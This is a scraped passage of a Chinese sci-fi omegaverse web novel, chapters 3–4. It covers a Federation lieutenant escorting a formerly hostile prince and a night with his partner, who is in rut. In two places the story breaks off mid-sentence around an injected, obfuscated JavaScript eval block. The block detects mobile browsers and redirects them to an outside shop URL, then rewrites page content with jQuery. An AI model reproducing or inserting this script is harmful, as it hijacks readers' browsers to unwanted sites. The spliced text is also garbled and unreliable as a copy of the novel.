《哥你再提分手我就打你弟》 3. 第 3 章 出门时还是上午,回去时天色已经渐暗了,池渡独自沿着河岸走。 他们住的房子位于河边,位置不算好,当初乔迁饭桌上有人调侃说池渡竟然也会有拿错主意的时候,笑着笑着突然改口,说但是空气质量特别好改天他也要来这边买个房子住住。 临走的时候,池渡看到那人一瘸一拐,脚上是复熠的鞋印。 那时候连楷还没转做议员,军队上下的交情错综复杂,不知道从哪得到的消息,带着礼物不请自来,把房子夸了一遍,隔天又联络说在主城区有空置的房子,可以友情价租给他,把复熠带过去住也没关系。 池渡回答他们之间还谈不上友情价的事,不了了之。 对第一军校的天之骄子们来说,那栋房子只能算比军校宿舍好那么一点,他们越是反应平平,就越衬得第一次来看这栋房子后兴奋得晚上睡不着觉的复熠傻起来了。 其实被复熠在饭桌下踩了一脚的那个朋友不算说错。 复熠会对这栋房子满意,大多是出于他本就是个好满足的人。给他吃黑麦面包他高兴,给他吃鱼他也高兴,连什么都没得吃也一副高兴的模样。 同样位于河岸,这栋房子比他们在垃圾星上住的房子好得多,复熠自然欢喜,满心满眼都是尽快搬进来。 站在家门口,池渡还没拿出钥匙,面前的门自动开了。 复熠穿着围裙,笑容洋溢,金发散在额前,易感期中的Alpha情绪比平常更外露高涨,光看一眼就让人觉得烫眼睛。 大概是以前饿过太多肚子,复熠对做饭的热情堪比研究最新型号的机甲。 不解归不解,池渡在外出巡查时淘过几本古蓝星的菜谱,跟一些稀有矿石装在一起作为伴手礼送给复熠,那似乎给了复熠莫大的鼓舞,此后每到休假就换着花样做。 平心而论,复熠做的菜确实要比营养液好吃,但池渡还是更习惯使用营养液,便捷高效。 饭后,池渡主动提及:“有新任务,但不会离开主星系。” 复熠点头,并不多问。 池渡保持着原本的姿势,又看了复熠一会儿。 复熠的眉眼肖似方夫人,那头金发大概也是遗传自生母,池渡心想,以前怎么没发现。 被看久了,复熠的喉结无声滚动:“怎么了?” 池渡问:“易感期结束了吗?” 复熠的目光飘向地板:“……还没。” 池渡起身:“你今晚回自己房间睡。” 复熠抬头:“啊?” 脑子还没转过来那句话是什么意思,池渡房间的门就严丝合缝关上了,只剩下复熠对着空荡荡的客厅干瞪眼。 恋爱七年还在分开住,落在外人眼里多少不正常,就像一个易感期中的Alpha跟爱人共处一室却什么都没发生,那很难不被怀疑是不是生理上存在问题。 分开住是池渡做的决定,没解释原因,想来是为了保留私人空间,收到临时调令也不会打扰对方休息。 道理复熠当然都懂,只是难免会怀念曾经依偎在一起入眠的日子。 主星系没有寒流期,不必再从彼此身上汲取温度也理所应当。 池渡总是正确的,复熠心想。 他有太多的理由无条件拥护池渡。 复熠靠在沙发里,深深望着那扇紧闭的房门,肩头毫无征兆一震,起身快步走向另一个房间。 门合上的瞬间,挺直的脊背毫无征兆塌下来,易感期中的Alpha顺着门板蹲下身,死死捂住口鼻,全程没发出丝毫声响。 月光从敞开的窗边映下,未开灯的房间里,信息素无声炸开。 …… 早起已经成为刻在基因里的习惯,池渡走出房间,对面的房间毫无动静,关门的动作顿了半秒,也只有半秒钟。 照常洗漱,喝了营养液,吃药时发现其中一瓶见底,池渡在日程表中添了一项去科研院取药。 距离出门还有四十分钟,他见缝插针地去储物间清点混在一起的物品。 划分这十四年间产生的杂物对他的记忆力谈不上考验,真正麻烦的是区分哪些还有用,哪些即便没用了也不能丢。 拿起九年前买的磕破一角的花盆,池渡看看左边的箱子,看看右边的箱子,最终放回了原处。 拿起十三年前买的计时器,他又停下了。 粗糙的外壳布满划痕,大半屏幕已经失灵,这个计时器放在当年都堪称古董级,更何况是如今。 池渡抬头望向四周,竟然对这个住了十年的房子生出了一丝陌生。 他以为自己对这栋房子了如指掌,整理时才发觉并非如此,至少他们刚搬来的时候,储物间里绝对没有这些来自垃圾星的旧物。 复熠重感情,这在人情冷暖的垃圾星上是个异类,九个月前来自方家的血缘检测报告也恰恰证明了,复熠本就不属于垃圾星。 池渡将那些零碎的物品一一归位。 外界传言他记忆力超群,能过目不忘,其实也不尽然,此刻他就又忘了,早就过了他能替复熠做一切决定的年纪了。 这些东西的去留还是交给复熠自己做决定吧。 换好军装时,复熠竟然还没有要起的意思,池渡抬手敲门,“吱呀”一声,门没关。 他尚未动作,身后冷不丁响起一声:“早上好。” 池渡转头,复熠的额前带着汗,像是刚晨跑完回来,顺手把头发撸到头顶:“这就要出门了吗?” 池渡皱眉,衡量起是安眠药的剂量不对还是镇定剂出了问题,他竟然没察觉到复熠早上出去过,看这副样子,应该跑了不少。 “可以帮我拿下毛巾吗?”复熠紧接着又说。 池渡刚一走,原本还气定神闲的复熠大步冲过去把房间的门仔细关严,完事后紧急调头,把拿着毛巾回来的池渡堵在客厅。 接过毛巾,余光瞥见池渡冷淡的眉眼,复熠快把自己的脸擦破皮了,最终还是没多问。 ……应该没进去过。 池渡从来不进他的房间,一向只有他跑进池渡的房间。 复熠心情豁然开朗,挥手将池渡送走,随意喝了管营养液,盘算起今晚要做什么菜。 ** 池渡跟着引领者穿过长长的回廊。 熟悉的检查流程,人也是熟悉的人,只不过地点略有不同。 这是联邦接待贵宾的地方,池渡第一次涉足。 “殿下,联邦的使者到了。” 兰斯洛帝国远道而来的二皇子正慢悠悠地享用早餐,漫不经心:“出去吧。” 引领者安静退出去,门被轻轻关上,房间里只剩两人。 兰斯洛·盛均,兰斯洛王室第二皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579200|205071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子——曾经的敌人,如今的盟友,昨天在会议厅已经见过一面。 要是追溯到更早之前,池渡在战场被俘,这位皇子是敌方指挥官,姑且算打过照面。 池渡此次接到的任务就是为这位盟友作陪,名义上是保护和接待,具体是称为防患于未然还是叫作监视都差不多。 “绅士可不会这样盯着一位Omega看。” 盛均长着双桃花眼,侧目看过来的时候更显狭长。 见池渡不语,盛均又说:“怎么?没想到自己的老对手会是Omega,说不出话了?” 的确没人想到。 星际战场上的兰斯洛二皇子凶名在外,总是往局势最严峻的战区跑,没人会把这么号狠人往Omega上套,顶多揣测那位大皇子是想故意弄死这个弟弟,可要是Omega,那就没有防的必要了。 池渡没有讨论第二性别的爱好,只是说:“我们不是对手,斯塔特战役的指挥官是殉职的……” “对面换没换人我分得清,至于功勋落下的时候换没换人,你清楚。” 池渡照旧面不改色。 盛均从头到脚好好打量了一番这位老对手,目光滑过精致而冷淡的眉眼,突然兴致勃勃地说起:“我再砍那个Alpha一刀,你会像四年前那样,用一把断剑……” 池渡:“不会。” “因为知道了我是Omega?” 池渡回答得十分官方:“就在昨天的会议上,联邦与兰斯洛王室间正式缔结了和平之约,联邦不会背叛自己的盟友。” 盛均笑了:“你还是继续装哑巴吧。” 随从进来为他们的殿下更衣,全程没抬头,盛均理了理袖口,瞥了一眼身旁面色冷淡的联邦代表,目光滑过肩章,勾起唇角。 “联邦做得也没说得那么好听,大名鼎鼎的斯塔特战役的指挥官啊……到头来竟然还是个中尉。你要是兰斯洛的追随者,现在可不会还住着河边的一幢小房子。” “斯塔特战役的指挥官是桑园上将,联邦会永远铭记他。” “哦,那家伙被追授了?” “桑园上将值得被联邦所有人民纪念。” “呵……” 盟约已经达成,接下来其实就是让这位帝国代表玩得高兴而已,体验一下联邦的风土人情,也彰显联邦的诚意。 随行团浩浩荡荡,行走间,池渡看了一眼窗外。 他从未在这个角度看过主城区,高楼耸立富丽堂皇,方家就坐落于附近,跟他清晨出发的地方简直是两个世界。 无视身后刻意挑起情绪的话语,池渡的思绪飘回了河边,心想:我选的房子究竟有什么问题,谁都要说上一句。 ——在主星系中心区未必还能找出第二个像这样靠近河岸、让某个念旧的家伙一眼就惦记上的房子。 随着电梯门缓缓合上,池渡用力闭了下眼。 不过不论曾经再怎么满意,如今的确显得拥挤了。 ……一个人住倒是刚刚好。 “池中尉,我们不去中心塔了。” 一只手落在肩上,池渡面无表情转头,对上一双不怀好意的红瞳。 兰斯洛帝国二皇子上前一步,殷切地搂住联邦代表的肩膀:“既然是体验联邦的风土人情,那就去你家好了。你一定会代表联邦招待好我的,是吧?” 4. 第 4 章 “不是。”池渡回答得相当干脆,没有丝毫回转的余地。 “殿下,这不……” 盛均一个眼神轻飘飘扫过去,那几人立刻噤声,低下头不敢说话了。 盛均双手环胸:“我要是偏要去呢?” “会引起外交纠纷。”池渡的语气平铺直叙,“我家里有一个易感期中的Alpha。” 四目相对,池渡神色自若,盛均反倒先笑了。 话虽如此,这位想一出是一出的二皇子还是没按行程去中心塔。 中途盛均随意登上一辆巡回车,池渡是唯一跟上动作的人,投了四枚晶币。 透过车窗,随行团的其他人正在原地急得团团转。 池渡给随行团同步了坐标,在盛均邻座坐下,隔着过道,不近不远。 盛均身形颀长,远超Omega平均身高,一举一动都透着随性潇洒,硬生生把两晶币一次的巡回车坐出了专属座驾的味道:“哎,池中尉,你不觉得这样很像约会吗?” 池渡的坐姿如同教科书上的模板,跟前一天他在会议厅里如出一辙,留意着车窗外,语气毫无波澜:“不觉得。” 盛均摸着下巴:“那像私奔?” 池渡侧目,语气稍微加重了:“请不要说这种会让我上军事法庭的话。” 盛均摇头叹息,自来熟地搭池渡的肩膀,被躲开了也不在意:“这样对待Omega,你很难找到一位适龄的结婚对象了。” “谢谢提醒,我对获得Omega的青睐没有兴趣。” “所以你就找了个Alpha?”盛均翘着二郎腿,“我查过你,挺励志的。” 池渡面色如常:“公务行程,我不想讨论私人话题,殿下。” 这不耽误盛均自顾自高谈阔论起来:“你出生在落后星球里面经济安全都能排倒数的落后星球,不仅是孤儿,还一贫如洗,唯二的财产是河边的破房子和一辆年龄比你还大的摩托车。后来你认识了一个竟然比你还穷的穷小子,你们一起到了主星系,勉强混出了个人样,虽然一个是Beta一个是Alpha,谈不上顺理成章,但不影响你们谈起了恋爱。可惜人算不如天算,今年你们突然得知你那个难兄难弟竟然是贵族出身,所以你就快要被甩了。” 池渡不得不出言纠正一点:“联邦没有贵族制度。” 盛均不置可否:“贵族制度可不止在头衔和律法,还在人心。” 光脑闪烁,池渡低头查看:“随行团在下一站等我们。” “当年的邀请还算数。”盛均脸上满是惋惜,“甩开那些家伙就是想单独跟你说句真心话,池渡,以你的能力完全值得更好的待遇,唯独你我二人最清楚不过,第二性别代表不了什么,兰斯洛会给你应得的一切。” 巡回车停了,随行团的人正在外面等待。他们倒是了解自家这位二皇子,把整辆车都围起来了,不放过一丝缝隙,生怕再跟丢。 池渡起身,伸手做出请人的姿势:“殿下,现在去中心塔还来得及。” 盛均长睫微压,眼珠一转,展露笑颜,手直接搭上池渡的手,在跟那只手一样冷的目光中欣然起身,虚伪地说:“谢谢,不用扶我,我没那么柔弱。” 就像池渡预想中的那样,这个任务没有危险,但异常麻烦,兰斯洛·盛均完全没有自己代表着一个国家的自觉,随心所欲,汇合不到两小时就又玩起了失踪。 作为全场唯一一个能跟上节奏的人——虽然池渡本人完全不想跟,但服从命令是军人的天职,他必须保证盛均不脱离自己的视线。 两边刚达成盟约,盛均要是在联邦出了事,那问题就大了,更何况谁知道那家伙到处跑是不是不怀好意,是想故意惹起事端。 夕阳笼罩天际时,盛均终于停止了这种幼稚的行为。 远处随行团气喘吁吁地跑过来,池渡站在盛均身旁,面色如常,只衣服比出门时多了几条褶皱。 盛均的笑容多了几分畅快真实,意犹未尽地说:“小时候我喜欢在王都玩捉迷藏,只有我大哥能找到我,分化后我的课程就变了,伴读也换成了群无聊的家伙,真是好多年没这么痛快过了!池中尉,我们明天再继续。” 池渡:“……?” 池渡还没说话,随从们的表情先垮下来,原地抓狂:“殿下!您还有要务处理啊!您不能……” 盛均完全不听,背着手悠哉悠哉地走了。 接下来三天都是同样的模式,池渡计算着任务结束的时间,第四天回到家,复熠的迎接仪式不太一样。 池渡双手被压在头顶按在门板上,太阳穴突突狂跳,怒道:“复熠!” 凑在他身上闻来闻去的家伙身体顿了一下,一个吻猝不及防落下来。 复熠比他小两岁,自从分化后就个头猛窜,仅一年身高就与他持平,隔年就超过了他。池渡被迫仰着头,复熠的吻毫无章法,牙磕到了他的下唇,丝丝缕缕的血腥味随着深吻在唇舌间蔓延开。 “……!!” 异变突生,复熠捂着肚子弓下身,脊背绷紧,单膝跪地,池渡冷着脸收腿,军靴鞋底落在地板上,砸出沉闷的咚响。 池渡用大拇指把嘴角的血迹擦掉,居高临下地问:“清醒了吗?” “……清醒了!”复熠的声音像是硬生生从牙关挤出来的,细听才能听出颤抖,“……对不起。” 池渡面色倏地变了,蹲下身去掰复熠的胳膊:“我看看。” 复熠胡乱摇头,柔软的发丝擦过池渡的掌心,池渡的语气一下就软了:“复熠,让我看看,是不是伤到肋骨了?我刚刚没注意收力。” “你……别碰我……”复熠拼命把池渡往外推,手却抓住了池渡的胳膊。来不及反应,池渡瞳孔骤缩,天旋地转,被复熠扛起来,直奔浴室。 “复熠?!!” 池渡整个人被按进浴缸里,复熠的手掌垫在他后脑勺,倒是没磕到头,刚想起身,被笼罩上来的那具身体凭借体重压了回去。 复熠打开水龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581870|205071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,池渡被冷水冰得打了个寒战,耳边响起复熠低沉压抑的嗓音:“你身上全是Omega的信息素,你的身上……” 池渡挣脱的动作顿住了。 复熠说:“我不是想插手你交朋友,夏至、时迁他们也是Omega,大家都是朋友,只是我这几天对Omega的信息素有点敏感……” 水面漫涨,池渡叹了口气,没再要挣脱,只是调整了水温。 他们一起挤在浴缸里,氤氲水汽,仿佛也被上升的温度影响了一般,复熠紧紧搂着他,声音愈发含糊:“……别推开我,我就是会比平常有一点没那么听你的话……只是一点点……我也有按你说的出去跑圈冷静……我现在非常冷静,我觉得我比任何时候都要冷静……” 池渡悬在半空的手终究还是落下来了。 他背靠在浴缸里,水面晃动,盛满的水哗啦啦地从缸体边缘溢出去,把复熠的头按在自己肩上,轻轻揉了两下。 “易感期很难受吧。” “没有……有你在就好……我一直在等你回来……那家伙竟然摸你的手,还搭你的肩膀……你别打他,别碰那个人的脸……我好想你……对不起……”说到最后,复熠的声音已经不成语序了。 池渡费力地把湿透了的衣服脱掉,军装贴身,反观复熠的家居服就好脱得多。他们拥吻着进了复熠的房间,池渡被按在床上,倒下去时硌到背,顺手把身下的东西扯出来,有点眼熟。 池渡忽然反应过来,侧头看了一眼,发现周围全是自己的衣服,如同围成了一个巢穴。 水珠落在池渡的脸上,缓慢滑过脸颊,他转回头,复熠正眼睛一眨不眨地盯着他看。 复熠的虹膜是绿色的,无论是金发还是绿瞳在星际都不算罕见,复熠曾因为自己不是黑发黑瞳闷闷不乐,但池渡格外喜欢看复熠的眼睛。 垃圾星的寒流期凛冽荒凉寸草不生,复熠总是亮着的眼睛就是目之所及唯一经久不败的生机。 水淌进眼眶,复熠不舍得眨眼,俯下身,额头抵着池渡的额头,亲昵地蹭了蹭,眸底在罩下的阴影里晕染成幽深危险的浓绿。 “……哥,哥。”复熠喘息着连说了两遍,“你第一次进我的房间,我好高兴。” 他们一直抵死缠绵到清晨,过程无疑是愉快的,池渡从未如此接纳他,但天总是会亮的。 清醒以后,复熠蹲在床边,抱着头想该怎么办。 易感期,信息素,说浑话,纵欲,叫池渡哥,拉着池渡进他的房间,还被池渡发现偷拿他的衣服——每一条都在池渡的雷区,枉他平常谨言慎行,一晚上竟然全踩了个遍。 我可能会被池渡沉进浴缸冻成冰块敲碎! 床垫轻晃,窸窸窣窣,是床上的人醒了。复熠身体僵硬,不敢动弹,也不管自己展开身体到底是多大一只,努力压缩自己降低存在感,试图假装自己不存在。 头发被轻揉了一把,复熠“诶?”的一声弹起来,只看到个门缝。池渡已经出去了。